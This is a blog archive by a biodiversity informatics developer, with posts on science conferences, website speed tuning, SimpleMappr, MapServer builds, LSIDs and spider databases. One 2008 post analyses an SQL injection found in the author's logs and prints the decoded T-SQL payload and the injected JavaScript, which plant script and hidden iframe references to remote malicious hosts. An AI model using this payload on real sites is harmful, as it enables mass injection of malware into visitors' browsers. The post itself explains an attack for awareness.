iSpiders

Science is a Product in the Wrong Marketplace

2012-01-03T22:58:00.003-07:00

Instead of mindlessly watching a movie tonight, I browsed through Google Tech Talks and stumbled upon a spectacularly argued, wonderfully cadenced, and orchestrated Sept 2011 presentation by Kristen Marhaver entitled, "Organizing the world's information by date and author is making Mother Earth Sick".

Her thesis is that science is a product, not a news stream. And, because science is communicated in a self-serving, pay-wall-laden marketplace, its products to outsiders (those who stand to benefit from this knowledge) are paradoxically valueless. Kristen argues that the first steps toward cracking into this marketplace could be to expose the inherently social dimension of science by using modern day social gadgetry. Google+, Twitter and star ratings could reside around the periphery of online PDF reprint viewers. Unfortunately Kristen, this is still the wrong marketplace.

The one place where the social dimension of science is abundantly obvious is the largely unchallenged scientific conference. There are ways for this energetic, youthful, exploratory dialogue to spill out onto the distant screens of those who could benefit. YouTube, Twitter, Google+ could all be used with religion at conferences because for the most part, papers delivered are free from the publisher's grasp. Google Tech Talks and TED talks are spectacularly popular for very good reason. The medium is accessible. Plus, there is ample opportunity to make conferences more accessible and engaging to registrants themselves. How many times have you heard someone deliver a paper who feels the need to introduce his/her co-authors who could not be present or to shamelessly advertise the upcoming paper/poster presentations of their graduate students? The moment someone walks up to the podium, I want all that pushed onto my iPad along with links to their reprints. I'd rather they just get on with it. If their presentation were recorded and later put on YouTube, I'd want the same experience. Sure, links to their reprints would likely throw me up against a brick pay-wall, but I'd already know and appreciate the context.

To take this even further, why not really expose the scientific conference by advertising the downtime? On how many occasions have you gone to a conference, only to share a beer or two in the evening(s) WITH THE COLLEAGUES YOU ALREADY WORK WITH!? Instead, I want a post-conference un-drink. That is, I'd like to advertise my desire to have a drink by posting what I'd like to talk about and then blast the venue into the Twittersphere for members of the public to join me if they felt so inclined. If it's a bust, I'll swallow my pride and go join another one...and I'll bring copies of my reprints.

Realtime Web

2011-11-14T10:05:00.003-07:00

I started work on a whimsical presentation I will soon give to the Biodiversity Informatics Group at the Marine Biological Laboratory about the Realtime Web and came-up with the following kooky slide. Felt the urge to share.

Amazing Web Site Optimizations: Priceless

2011-11-13T13:19:00.006-07:00

Quite literally, priceless. As in costs nothing.

I was obsessed with web site optimization these past few weeks, trying to trim off every bit of fat from page render times. As we all know, if a page takes longer than approx. 3-4 seconds to render, then you can expect to lose your audience. Even though expectations for speed vary depending on the end-user's geographic location, having a website that can be equally fast for a user in Beijing is just as important as the experience for a user in California. As might be expected, server hardware typically isn't the bottleneck. Another way of looking at this is to recognize that remarkable boosts in performance can be had on crap hardware. So, this post presents the tools I used to measure web site performance and describes the simple techniques I employed to trim the excess fat.

My drug of choice to measure the effect of every little (or major) tweak has been WebPagetest, a truly invaluable service because I can quickly see where in the world and why my web page suffered. Knowing that it took 'x' ms to download and render a JavaScript file or 'y' ms to do the same for a css file meant I could see with precision what a bit of js or css cleansing does to a user's perception of my web site. I also used Firebug and Yahoo's YSlow, both as FireFox plug-ins. Google Chrome also has a Page Speed extension that I used to produce a few optimized versions of graphics files.

Some tricks I employed to great effect, in order from most to least important:

Make css sprites. The easiest tool I found was the CSS Sprite Generator. Upload a zipped folder of icons and it spits out a download and a css file. Could it be any easier? Making a css sprite eliminates a ton of unnecessary HTTP requests and is by far the most important technique to slash load times.
Minify JavaScript and css. For the longest time, I was using the facile JavaScript Compressor, but the cut/paste workflow became too much of a pain. So, I elected to use some server-side code to do the same: jsmin-php and CssMin. When my page is first rendered, the composite js and css files are made in memory then saved to disk. Upon re-rendering (by anyone), the minified versions are served. Here's the PHP class I wrote that does this for me. Whenever I deploy new code, the cached files are deleted then recreated with a new MD5 hash as file titles.
Properly configured web server. This is especially important for a user's second, third+ visit. You'd be crazy not to take advantage of the fact that a client's browser can cache! I use Apache and here's what I have:

<Directory "/var/www/SimpleMappr">
Options -Indexes +FollowSymlinks +ExecCGI
AllowOverride None
Order allow,deny
Allow from all
DirectoryIndex index.php
FileETag MTime Size
<IfModule mod_expires.c>
<FilesMatch "\.(jpe?g|png|gif|js|css|ico|php|htm|html)$">
ExpiresActive On
ExpiresDefault "access plus 1 week"
</FilesMatch>
</IfModule>
</Directory>

Notice that I use the mod_expires module. I also set the FileETag to MTime Size, though this was marginally effective.
Include ALL JavaScript files just before the closing body tag. This boosts the potential for parallelism and the page can begin rendering before all the JavaScript has finished downloading.
Serve JavaScript libraries from a Content Delivery Network (CDN). I use jQuery and serve it from Google. Be weary that on average, it is best to ONLY have 4 external sites from which content will be drawn. This includes static content servers that might be a subdomain associated with your web site. Beyond 3 external domains or subdomains, DNS look-up times outweigh the benefit of parallelism, especially for aged versions of Internet Explorer. Modern browsers are capable of more simultaneous connections, but we cannot (yet) ignore IE. I once served jQueryUI via the Google CDN, but because this was yet another HTTP request, it was slower than had I served it from my own server. So, I now pull jQuery from the Google CDN and I include jQueryUI with my own JavaScript in a single minified file from from my server.
Use a Content Delivery Network. I use CloudFlare because it's free, was configured in 5 minutes and within a day, there was noticeable global improvement in web page speed as measured via WebPagetest. Because I regularly push new code, I use the CloudFlare API to flush their caches whenever I deploy. However, this is largely unnecessary because they do not cache HTML and as mentioned earlier, I make an MD5 hash as my js and css file titles.

So there you have it, I was able to trim 4-6 seconds from a very JavaScript-heavy web site. And, web page re-render speed is typically sub-second from most parts of the world. Because much of the content is proxied through CloudFlare, my little server barely breaks a sweat.

Did I mention that none of the above cost me anything?

SimpleMappr Embedded

2011-06-26T16:59:00.005-06:00

I never had high hopes for SimpleMappr. There are plenty of desktop applications to produce publication-quality point maps. But it turns out, users find these hard to use or are too rich for their pocket books. As a result, my little toy and its API are getting a fair amount of use. I find this greatly encouraging so I occasionally clean-up the code and add a few logical, unobtrusive options.

A number of users appear to want outputs for copy-paste on web pages and not copy-paste into manuscripts, so I just wrote an extension to permit embedding.

Here's one such example using the URL
http://www.simplemappr.net/?map=643&width=500&height=250:

Happy mapping...

Lightweight, Cross-platform, Real-time Browser-Browser Communications

2010-11-15T08:04:00.002-07:00

During a monthly meeting to discuss cutting edge technologies here at the Biodiversity Informatics Group at the Marine Biological Laboratory, I demonstrated a technique to update distributed browsers in the face of collaborative classification (i.e. tree) editing. In essence, if there are 2+ people asynchronously (i.e. via AJAX calls) updating content on a web page, there is potential for everyone to get horribly out of sync with one another. Imagine for example a chat window on a web page that does not update on everyone's web page in real time....wouldn't make for a particularly pleasant or useful experience for anyone. The same lousy experience was true in the LifeDesks tree editor when 2+ people were simultaneously updating the same classification. Person A might delete or move a node and person B, C, D, ... etc. are none the wiser and might later perform an action on that node (or its children) whereas the database no longer reflects what they see in their browser screen.

To work around the possibility that everyone editing can get horribly out of sync with one another, I implemented a polling mechanism to grab recent adjustments to data every 5 seconds. If you happen to be looking at a portion of the tree that someone else has just deleted or moved elsewhere in the tree, relevant nodes within the tree will now automagically refresh to reflect actions that someone else just did...nodes will flash red then disappear, nodes will flash green then appear, etc. There is also a scrolling activity monitor at the bottom of the screen. To be sure, this isn't a particularly robust mechanism because there is constant polling. Enter web sockets...

Ryan Schenk who attended this informal demonstration alerted me to Socket IO. I knew of it, but never paid much attention. However, after having poked around a little bit with the examples provided, I am convinced this is the way I should have designed real-time classification tree updates in the face of 2+ simultaneous user actions. The lightweight technique will prove useful for any client-client communications (e.g. real time chat). Plus, it has the excellent benefit of cross-browser, cross-platform capabilities with very little server strain. A database need only be hit once when person A exerts an action and the data propagates to all other users. Very cool.

MapServer, MapScript, MacPorts

2010-11-12T13:13:00.015-07:00

For anyone wishing to get into MapServer and serve shapefiles via PHP and also use a Mac with MacPorts for local development, here is how to compile. I discovered the hard way that the MacPorts port for MapServer is horribly dated and DOES NOT include PHP-MapScript. Compile instructions below assume you already have the php5 MacPort.

Install some dependencies if you haven't already got them:

sudo port install php5-gd
sudo port install xpm
sudo port install proj
sudo port install geos
sudo port install gdal

1. Download latest MapServer tarball, http://mapserver.org/download.html (e.g. at time of writing http://download.osgeo.org/mapserver/mapserver-5.6.5.tar.gz)
2. Extract and cd into folder
3. Execute from command line:

$ ./configure \
--prefix=/usr \
--with-agg \
--with-proj=/opt/local \
--with-geos=/opt/local/bin/geos-config \
--with-gdal=/opt/local/bin/gdal-config \
--with-threads \
--with-ogr \
--without-tiff \
--with-freetype=/opt/local \
--with-xpm=/opt/local \
--with-png=/opt/local \
--with-jpeg=/opt/local \
--with-gd=/opt/local \
--with-wfs \
--with-wcs \
--with-wmsclient \
--with-wfsclient \
--with-sos \
--with-fribidi-config \
--with-experimental-png \
--with-php=/opt/local

4. Execute from command line: $ make
5. Verify that mapserv is working by executing ./mapserv -v
6. Find php_mapscript.so in mapscripts/php3 and move to PHP extensions directory (usually /opt/local/lib/php/extensions/no-debug-non-zts-20090626/ for MacPorts). You may also need to add php_mapscript.so to your php.ini.
7. Move mapserv into cgi-bin folder for web server and give permission to execute if desire using it directly (optional)

If MacPorts's GDAL were similarly updated to v. 1.7.3, you could use GeoRSS data just as you would use shapefiles. But, alas, at the time of writing, the version in MacPorts is v. 1.6.2.

While we're on the mapping kick, here is a very excellent source of shapefiles: http://www.naturalearthdata.com/

...and a bit of PHP code to consume GeoRSS using the Magpie RSS library. The author uses some deprecated PHP functions in places, but it is nonetheless quite useful.

Reference Parser Revived

2010-08-21T11:54:00.016-06:00

Many moons ago, I once developed a tool that does real time discovery of scientific references using a combination of the aged (though still very useful) ParaTools and CrossRef's OpenURL service. With the demise of my server, this bit of code was lost. I just revived the code and functionality and provide it here for anyone else to take it and refine it UPDATE: parsing is now executed with a Ruby gem: http://refparser.shorthouse.net/. This location is not likely to persist so get it while you can. To get a sense of what it does, here are some verbatim references. Click the magnifying glass after each reference to experience the magic. Cross-domain AJAX requests are circumvented by using jQuery's clever JSONP handling.

Bell, C. D., & Patterson R. W. (2000). Molecular phylogeny and biogeography of Linanthus (Polemoniaceae). American Journal of Botany. 87, 1857-1870.

Epling, C., & Dobzhansky T. (1942). Genetics of natural populations. VI. Microgeographic races in Linanthus parryae. Genetics. 27, 317-332.

Epling, C., Lewis H., & Ball F. M. (1960). The Breeding Group and Seed Storage: A Study in Population Dynamics. Evolution. 14, 238-255.

Similarly, this can be done with an input box. Paste a reference and press enter:

Authentication Made Easy

2010-07-27T07:40:00.003-06:00

I am swamped by the number of user names and passwords I have to remember and, quite frankly, if a new resource I stumble upon requires me to remember yet another account for me to access or do something I need, it's a deterrent and I'll go elsewhere. While developing features for SimpleMappr, it occurred to me that users probably would like to save a template of a naked map and then populate it with various bits of data at various times. In other words, it would be handy to just draw-up a template and use it whenever creating something new. Rather than making yet another user account system (ugh!) for this map template saving tool, I made use of Janrain's (formerly RPX) OpenID system. In less than an hour, I made a 2-click user authentication system for users. While Janrain is a for-profit company, it's only a matter of time for an open-source equivalent at which time I can probably just switch and not have to adjust the database schema or much of my code.

SimpleMappr API

2010-04-05T08:06:00.006-06:00

There are plenty of resources to make pushpin maps, but none that I know of have a Microsoft Excel add-on to make use of these. My ultimate goal is to make one as part of SimpleMappr to help streamline map creation for assembly into manuscripts. To get a little closer to this vision, I spent a half-hour making a RESTful API and the documentation may be found here: http://www.simplemappr.net/#map-api.

For example, this URL: http://www.simplemappr.net/api/?file=http://www.simplemappr.net/api/demo.txt&shape=square&size=10&color=255,0,0&width=400&bbox=-130,40,-60,50&layers=lakes,stateprovinces&projection=esri:102009

Gives you this:

Mapping Revival

2010-03-25T19:25:00.004-06:00

One of the casualties of the death of the Nearctic Spider Database was a largely neglected, simple mapping application that permitted copy/paste of collection coordinates. The output was a b&w line map with contoured dots, mostly suitable for insertion in manuscripts. Sadly deficient was the ability to have many layers, each with different pushpin style or to crop, zoom, pan or change the projection. Unbeknown to me, folks were actually using this thing. I actually made a much better application for the AMNH to help produce outputs for their PBI grant holders. So, with Norm Platnick's permission, I re-purposed some of the code.

Here be SimpleMappr, http://www.simplemappr.net.

There are bound to be bugs or hiccups because it's never been fully tested under load, but I throw it out here for feedback and feature requests. Please let me know what you were doing when and if you witness odd behaviour; this is a very dynamic environment. Yes, there are similar sorts of applications out there in the wilds but none to my knowledge permit this sort of facile "copy/paste/tweak/export" as fast as this one can.

Nearctic Spider Database Dead

2010-03-19T10:20:00.005-06:00

With great sadness, I will no longer be serving the Nearctic Spider Database unless something remarkable happens.

On March 17, 2010, the power supply sparked in my server, shorted out the motherboard and as a consequence, the hard drives seized up. While I of course have back-ups, unbeknown to me the incremental drive image for the applications portion of the server was corrupt. The latest working drive image was January 2007 - hardly useful to rebuild the server. This means I have to reconstruct the server from bare metal, which would be a significant financial hit and a significant consumption of time away from family.

The website currently serves a flat html page where one may download the code and data until March 31, 2010 at which time it will evaporate.

I estimate it would take a solid week to re-install and iron-out the kinks. But, if it takes that long, surely it would be better to have a fool-proof system. And, in particular, one NOT dependent on Microsoft software.

The Community is Dead

2009-06-14T18:56:00.002-06:00

This may not be much of a relevation to many, but is a notion that is sinking home more deeply for me of late. By "Community", I don't necessarily mean the online community, though there are hints of that as well when you think of the MySpace->Facebook->Twitter progression from all-out friend fest to ever more insular & individualistic directions, I mean the taxonomic community.

I lead the LifeDesk application of the Encyclopedia of Life and have been trying to sell the notion of a taxa-centric "community" of taxonomists that have a desire to get their content online in a human and machine readable format. Banding together means the workload can be shared. i.e. you gather the images, I'll get the text, she'll get the names in order, and he'll get the bibliography, etc. etc. This is a similar approach behind the Scratchpad philosophy. [Aside: there are apparently some who think Scratchpads and LifeDesks are duplicating efforts, but nothing could be further from the truth. Having both means choice and that is a good thing because it strengthens both our directions and is a clear signal to taxonomists that there is something behind this.] While the Scratchpad/LifeDesk community-driven focus may work in a number of situations, it is by no means the rule. Rather, the chances are much greater that taxonomists don't have a taxa-centric community of colleagues to share the workload because in fact, they may be the only one in the world working on their chosen taxa. As a result, the majority of Scratchpads and LifeDesks will be "communities" of single individuals. So, I have been thinking a little more deeply about the Scratchpad/LifeDesk direction and think I see a way forward.

The clear signal from the Scratchpad/LifeDesks projects is that folks are doing primarily two things: 1) getting a biblio online, and 2) getting taxonomic names in order. These two activities are largely divorced from one another because the workflow leaves a lot to be desired. Both activities are thankless tasks to begin with regardless of the LifeDesks/Scratchpad environment, which adds further insult to the workflow. Why should these activities be so independent from one another? Here's what the workflow ought to be:

1. Upload PDF reprints
2. Look for a DOI & get the metadata from CrossRef. If none found, prompt with citation form (first check for existing paper in db to cut down on duplicates)
3. Scan the PDFs using TaxonFinder
4. Present flat lists of names found in individual PDFs
5. Drag these into jsTree-based classification manager while retaining the name-reprint link in the background

This is the workflow that makes sense because when building a classification, one necessarily starts with publications, not some mythical list of names.

But...

Does the above make sense in a LifeDesk or a Scratchpad? It could certainly be a cool tool to help lower the bar of entry, but I seriously doubt it would get the traction in the taxonomic "community" that the tool would deserve. Rather, the application is best placed on the desktop as a rich, cross-platform app in Adobe Air or similarly facile environment to develop. Roll in some Bittorrent capabilities (ee gads!) and you have the start to a mechanism whereby reprints, names AND classifications may be shared and one could walk among the three in various ways. It would work because taxonomists need reprints and names AND there are plenty of residual names in any one reprint (i.e. of use to someone else). If cleverly constructed, reconciliation of names is an insular exercise that happens on the desktop (as it always has been) but the sharing of these reconciliation groups / biblio metadata acts to enhance the findability of reprints.

Here's the challenge then. Build a service that accepts PDF reprints, finds the DOI (if present) & spits back the citation metadata for the article AND all the names (dedup'd and cleaned) they contain. I don't don't need any more taxonomic intelligence than that. Give it to me in JSON and I can whip up the jsTree-based interface to help individuals build their own reconciliation groups...all linked to reprints in their store.

Cooliris on Eight Legs

2008-12-18T22:37:00.004-07:00

For well over a year, I have been serving MediaRSS feeds from the Nearctic Spider Database (before Yahoo and Flickr!) and I am overjoyed to see that all the big guys are jumping on this extension to RSS 2.0. One in particular that blows me away is Cooliris, a plug-in for all modern browsers that allows one to navigate MediaRSS feeds in 3D. So, if you haven't yet downloaded and installed Cooliris, you may do so HERE. Then, you're welcome to see the feed of spiders HERE.

Maybe I better take a second look at RSSBus...

Little E's

2008-11-03T19:20:00.005-07:00

Because I work for the Encyclopedia of Life (EOL) and because I can tinker on the Nearctic Spider Database, I have the opportunity to try out various approaches to help mobilize data. One thing that concerns me about the current relationship between EOL and its content partners is their near 1:1 relationship. In other words, content partners that come onboard are encouraged to represent their data in one potentially massive XML document much like a Google Sitemap. More information on what EOL would like to see future content partners produce can be found HERE. A potential outside consumer of these data will have no idea where to retrieve this XML document. Thus, the relationship between EOL and its content partners is closed. That is, until EOL releases some web services.

So, in an effort to help expose the data structure EOL is looking for, I made a link on every one of the species pages in the Nearctic Spider Database. Upon clicking these "little e's", you can catch a glimpse of what EOL is hoping its content partners will produce. These "little e's" don't really help the relationship between EOL and its array of content partners, nor does it ease the effort on the part of content partners to make these documents, and nor does it help us at EOL. So what's the point? What it does is share what I produced for EOL. If you can parse the data behind the "little e's", you can parse the big XML "sitemap" document I made for EOL as well.

The problem with sitemaps is that no one but the harvester knows where these sitemaps can be found. A Google sitemap for instance can be found in any folder on a website that shares a sitemap (but is usually in the root folder and is accessed as /sitemap.xml or /sitemap.gz). This is the same situation for EOL and its content partners; the "sitemap" can be found anywhere.

To finish off the "little e" approach, each page should have a link to the EOL content partner sitemap document in which can be found links to all pages with "little e's". This would be somewhat similar to an OpenSearch document where are found instructions on how to make use of the search feed(s) available on a site. And of course, there should be a JSON option for a lighter weight option than XML.

But, to make this of any use at all, we need a desktop reader like an RSS reader...something with the ability to shunt the data into the correct spot within a rich GUI-based classification (with some degree of certainty), thus forcing us to eventually develop far better online tree browsers. With all the bits described above, you'd come across a species page, click a button like an RSS feed button, download a sitemap containing a list of all species pages on the site you landed on, then browse through the content the way you want it organized.

Google Charts...Wow

2008-10-18T19:35:00.002-06:00

Kevin Pfeiffer, an avid participant in the Nearctic Arachnologists' Forum, finally got me to do something about the Flash-based charts on the species pages in the Nearctic Spider Database. While these older charts were great at the time, they've had their day. So, in light of the sparklines that Rod Page integrated into a "Biodiversity Service Status" pinger, I thought I'd take a closer look at Google Charts. Wow. The added plus for this service is the truly stellar documentation.

Rather than using a terribly long URL to get the PNG for the chart, I used a proxy. This way, I can pass the identifier to a local script that then grabs the image and dumps it on the page. And, I can give the chart a file name of my choosing.

Long Tail of Biodiversity

2008-10-12T07:57:00.003-06:00

At last count on the World Spider Catalog, there are 4345 species in the spider family Linyphiidae. This is second only to the jumping spiders. The latter are primarily tropical and subtropical, but linyphiids are predominantly found in the northern hemisphere, where are coincidentally found most of the world's arachnid systematists. And, of course, there's very little accessible information on most of these species either in print or on the web. A few notable exceptions are Tanasevitch's Linypiid Spiders of the World, which contains flat lists of names organized in various ways and the ever popular BugGuide gallery (few of which identified to species). There is a smattering of other resources out there, but they are all hard to find. Both the Tree of Life and the Encyclopedia of Life have the equivalent of stub pages so neither of these are particularly helpful.

A recent unlocking of these hidden gems is underway by Nina Sandlin, an Associate of Zoology at the Field Museum in Chicago. She has been building LinEpig, an photo gallery of linyphiid epigyna on Picasa Web Albums. Like most other online work on arachnids, LinEpig is built with love for the organisms and no budget (correct me if I'm wrong Nina!). While taking images of the epigyna, Nina graciously shared the habitus images with the Nearctic Spider Database. While in Chicago recently, I chatted with Nina about Picasa. While it comes close to what she wanted, it fell short in a number of areas. The most important in my opinion is findability. Sure, she can tag her images with names, but her gallery is poorly exposed on Google and other search engines. However, there are some features in Picasa that make it attractive. It is relatively easy to upload, manage, and geotag - though the latter could evidently use text boxes if one already has coordinates on hand. Most importantly, the interface is clean, responsive and uncluttered.

Now the long tail...

Prior to Nina's efforts, there was very little (if any) linyphiid imagery on the web, especially the specialized images of the epigyna, which are a lot more useful than the habitus images. If you've seen one linyphiid, you've pretty much seen them all (a few exceptions of course). They are remarkably similar in shape & size, but their sexual characters, especially the male's, are dramatically different. The big biodiversity aggregators like the Encyclopedia of Life have positioned themselves to present low hanging fruit. That is, show the furry charismatic megafauna (or fish) because there are many resources serving this sort of content. But, why? Wouldn't it make sense to instead provide better and more useful tools for folks like Nina to create and organize content for which there is either nothing or very little available elsewhere? Let's hope that in time, LifeDesk will provide a ladder for consumers of content generated there to reach out to the furthest branches and leaves where are found all the curiosities. But first, it'll have to contain tools and functionality useful for folks like Nina and for others to jump in and give her a hand.

Show Me...Crab Spiders on Bark

2008-07-25T18:55:00.003-06:00

One of the DarwinCore elements for specimen and observation data is "habitat". To my knowledge, not a lot has been done with these data. Either there are actually few records cached at GBIF that have this field filled or the data are in a such a mess as to be (mostly) unusable. I certainly hope it's not the latter. No matter how messy, there is still a wealth of information here if one takes the time to sift through it. The data are not unlike folksonomies and someone with more patience than me could probably develop a natural classification of these terms.

Faceted search is a first crack at making these data useful, because there is certainly more trajectories into the data than without making use of the data. For a first cut at this, I pulled 30 random contributed specimen records in the Nearctic Spider Database for each species and merely display the full contents on the species pages. Then, I index the pages as always using my trusty Zoom Search. Voila, a quick way to do some quick, faceted searches. It's not perfect, but it's better than nothing. Where "crab spider bark" or "wolf spider beach" once produced no search results, there are now 5 and 17 results returned, respectively. Incidentally, Flickr produced 13 and 18 results, respectively but many images are useless.

Green Porno

2008-07-20T22:08:00.002-06:00

I couldn't resist sharing these. Pure genius. Kudos to Isabella Rossellini.

SQL Injection Attacks!

2008-07-20T15:09:00.006-06:00

I was browsing through my web logs this morning and discovered some clever attempts to hack into my database using a technique called SQL injection. Here's a portion of one line in the web log:

/data/canada_spiders/AllReferences.asp Letter=F;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C...more crap here...4445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);--

The semicolon after "Letter=F" above is an attempt to mark the close of the SQL within the page "/data/canada_spiders/AllReferences.asp" and everything else after it is crap that could be executed on the server. Had I constructed my SQL on the page to be something like:

SELECT * FROM [TABLE] WHERE [COLUMN] = "" & [LETTER F] & ""

...where [LETTER F] is the parameter passed from the URL, I would have exposed myself to something potentially serious. So, instead of:

SELECT * FROM [TABLE] WHERE [COLUMN] = "F"

...the executed SQL would have been:

SELECT * FROM [TABLE] WHERE [COLUMN] = "F";DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C...more crap here...4445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);--

Cool.

So, just what is all that crap? Well, it's a SQL Server-specific bit of code that is HEX-encoded. The full decoded HEX is as follows:

DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b
WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://www.bnrc.ru/ngg.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

Hmm. What does this mean? Well, it's an attempt to do something very scary - update every cell in every table to include a reference to a snippet of JavaScript. So, the next time any data are pulled from the database for presentation on a website, there is the potential to include hundreds of references to a remote JavaScript file.

So, what's in the JavaScript? This:

window.status="";
var cookieString = document.cookie;
var start = cookieString.indexOf("dssndd=");
if (start != -1){}else{
var expires = new Date();
expires.setTime(expires.getTime()+9*3600*1000);
document.cookie = "dssndd=update;expires="+expires.toGMTString();
try{
document.write("<iframe src=http://iogp.ru/cgi-bin/index.cgi?ad width=0 height=0 frameborder=0></iframe>");
}
catch(e)
{
};
}

OK, so an iframe is inserted. Cripes, will it ever end? What's in the iframe? A page with some obfuscated JavaScript that loads with the rendering of the page. This is as far as I got. But, others have also discovered this and note that the JavaScript in that iframe is at least a redirect to msn.com. If you conduct a search for "ngg.js", you can pull up a whole heap of sites indexed by Google that have apparently been affected with this SQL injection attack. So, if you visit a web site, click a link and get mysteriously redirected to msn.com, something may have just happened to your browser.

But, I have still not idea what the ultimate end game is. What the heck is in the obfuscated JavaScript in the iframe? Anyone?

Google Geocodes

2008-07-19T12:57:00.003-06:00

Since I have been on a kick this weekend getting back into the mapping thing, I decided to see what was new in the world of the Google Map API and discovered plenty of new great things. For example, folks have developed reverse geocoders. It's a shame however that the full ISO country names aren't used. Rather, only the country codes are made available via Google's geocode API. I would have much rather had the full country name and the full "AdministrativeAreaName" (i.e. the State or Province in Google Map API parlance) because I could then use this in the AJAX data grid for contributors of specimen records to the Nearctic Spider Database. Similarly, applications like Specify could have taken advantage of this to help users clean or check their data as these are entered.

Nevertheless, I tweaked my old Google Map Geocoder to take advantage of all these advancements. The point of this little gadget is to click a map and get the location and coordinates. In this era of GPS units and iPhones, this may be rather pointless. But it was fun to see what I could do in an hour or so.

Simple Mapper

2008-07-18T09:14:00.004-06:00

With the recent mapping craze this past decade and the fascination with AJAX tiling, a serious deficiency has been a simple mechanism to produce a black & white line map with points to mark collection locations for use in an outgoing manuscript. While at the recent American Arachnological Society meetings at Berkeley, California, I casually mentioned in a presentation I gave about the Nearctic Spider Database that someone should make such a service. Well, I made one...at least the start of one, right HERE.

I know, I know, yet another mapping service. But, this one serves a very specific purpose. It could no doubt be expanded and made more customizable such as different points for multiple species (a bit tougher) and an option to use a global map instead (trivial), but it's a start to producing something that hopefully satisfies a very different need.

Life Science Identifiers (LSIDs) - Why?

2008-05-12T05:09:00.007-06:00

The Catalogue of Life (CoLP) recently released its 2008 checklist and has now implemented Life Science Identifiers (LSIDs). In the past, the Catalogue of Life changed its identifiers with every new version, thus forcing database owners who made use of CoLP names and identifiers to reconstruct their databases if they wished to maintain some sort of external linking to an authoritative source.

If you're not familiar with LSIDs, this from the sourceforge LSID resolution project:

Life Science Identifiers (LSIDs) are persistent, location-independent, resource identifiers for uniquely naming biologically significant resources including species names, concepts, occurrences, genes or proteins, or data objects that encode information about them. To put it simply, LSIDs are a way to identify and locate pieces of biological information on the web.

This is how LSIDs are constructed:

So, what can one do with an LSID? Well, given an LSID, one can get some metadata for that data object. This assumes of course that the authority at the other end is alive and ready to serve the metatdata. There is not a central authority as is the case with Digital Object Identifiers (DOIs) used by the publication industry.

For starters, one can resolve LSIDs using various online resources. Examples:

Biodiversity Information Standards (TWDG): LSID resolver

Rod Page: LSID tester

Because of the distributed nature of LSID authorities (its ultimately based on DNS), there is of course nothing preventing the same taxon name from having multiple identifiers or one authority from serving multiple LSIDs for the same taxon name. For example, the namestring for the fishing spider Dolomedes tenebrosus Hentz, 1844 has no less than 3 LSIDs that resolve to three different authorities:

uBio: urn:lsid:ubio.org:namebank:2072956
Catalogue of Life 2008: urn:lsid:catalogueoflife.org:taxon:f3b7cf14-29c1-102b-9a4a-00304854f820:ac2008 (ugh!)
The World Spider Catalog: urn:lsid:amnh.org:spidersp:019664

The uBio and the Catalogue of Life LSIDs for this spider resolve, but the AMNH LSID is nothing more than a pointer at this stage because at the time of writing does not yet have a functioning resolution service.

Which LSID is a database owner supposed to use? Are LSIDs meant to be currencies that either crumble or presist under Darwinian market pressures? What I want to do is store an LSID in my relational database such that I can more confidently link names with other sources of information such as information about the type specimens, gene sequences, synonyms, specimens etc. The uBio LSID above is nice and compact, but no one but me and uBio would use it. Norm Platnick wasn't aware that uBio had LSIDs for spider names! The World Spider Catalog LSID above is also nice and compact, but it doesn't resolve. The Catalogue of Life LSID is downright awful because I can't merely use the object identification as a stand-alone integer.

So, I'll continue to use "Dolomedes tenebrosus Hentz, 1844" thank you very much. A decentralized identifer system is failing me.

Who's Organizing the Type Specimens

2008-04-16T18:19:00.003-06:00

Circulating on Taxacom and elsewhere was a note and a petition that has me really worried:

On 26th March 2008 the University Board of Utrecht University, The Netherlands, informed the employees of the Utrecht Herbarium that as of 1 June 2008 the Herbarium is to be closed and, with immediate effect, access to the collections, from national as well as international workers, is to cease.

The above is straight off the Utrecht University website HERE where you can at least sign the online petition.

Where is the real source of this alarming decision? Do administrators see the doors to the herbarium as already closed so it's a simple decision to just bolt them shut?

Tim Robertson (GBIF) has been at the EOL informatics offices these past few days where some interesting ideas have been flying around. One of GBIF's original goals as near as I could remember was to expose the physical location and metadata for type specimens. But, I think a barrier to making this happen was the concentration on a distributed model to harvest and display ALL specimen and observational data in a consistent fashion. These are important sociological considerations but are tangential to the goal. What I would love to see is a simple web page for curators to input their type specimen data. Forget about the distributed data model. Type the data in and get an assigned LSID or some other identifier that can be used in perpetuity. Also type in the citation for the orginial description. Those three bits will serve as the most important scaffolding for all of biology. The metadata schema (if you still think in XML docs) is also laughably easy and the services to be built off this are embarrassingly useful. It is an immense source of pride for institutions (and curators!) to tell the world what type specimens are held behind their walls. Administrators cue in on that.

Tim Robertson and other developers in the Global informatics community are a passionate bunch and can see around corners, recognize the obstacles, and want the projects they represent to be huge successes. So, congrats Tim for your work on mapping and I hope there are other great things to come.

Just Gimme the Current Name!

2008-04-15T05:42:00.003-06:00

As a graduate student who collected a bunch of names to be stuffed into an Appendix, it was not a trivial task to ensure the names I used were the currently recognized nomenclature. One of the first things a reviewer of any publication containing an Appendix of names will do is check that the names are all correct. In spider circles, that means several dozen trips to Norm Platnick's World Spider Catalog. It would be so much easier for everyone involved if Norm had one big text box in which people could paste all the names and have every name be cross-checked with what is in the Catalog.

Coincidentally, it appears that many people who visit the Nearctic Spider Database use its search box to just get the full name string. I wonder how many searches on Google are the same! So, I made one. Sure, there are programmtic issues. But, I can catch those names that might potentially be ambiguous and tell you about them. I can also tell you if you misspelled a name or if a name you searched on isn't in The Nearctic Spider Database...remember that the database is regionally centric...and someone (me!) has to keep on top of potential species introductions, treatments, etc. because any checklist or database will never be complete.

So, give it a shot:

I Got Useful Data...and Caught You Unaware

2008-03-26T20:34:00.003-06:00

A recent reply to a post in Taxacom got me thinking more deeply about capturing workflows (see thread):

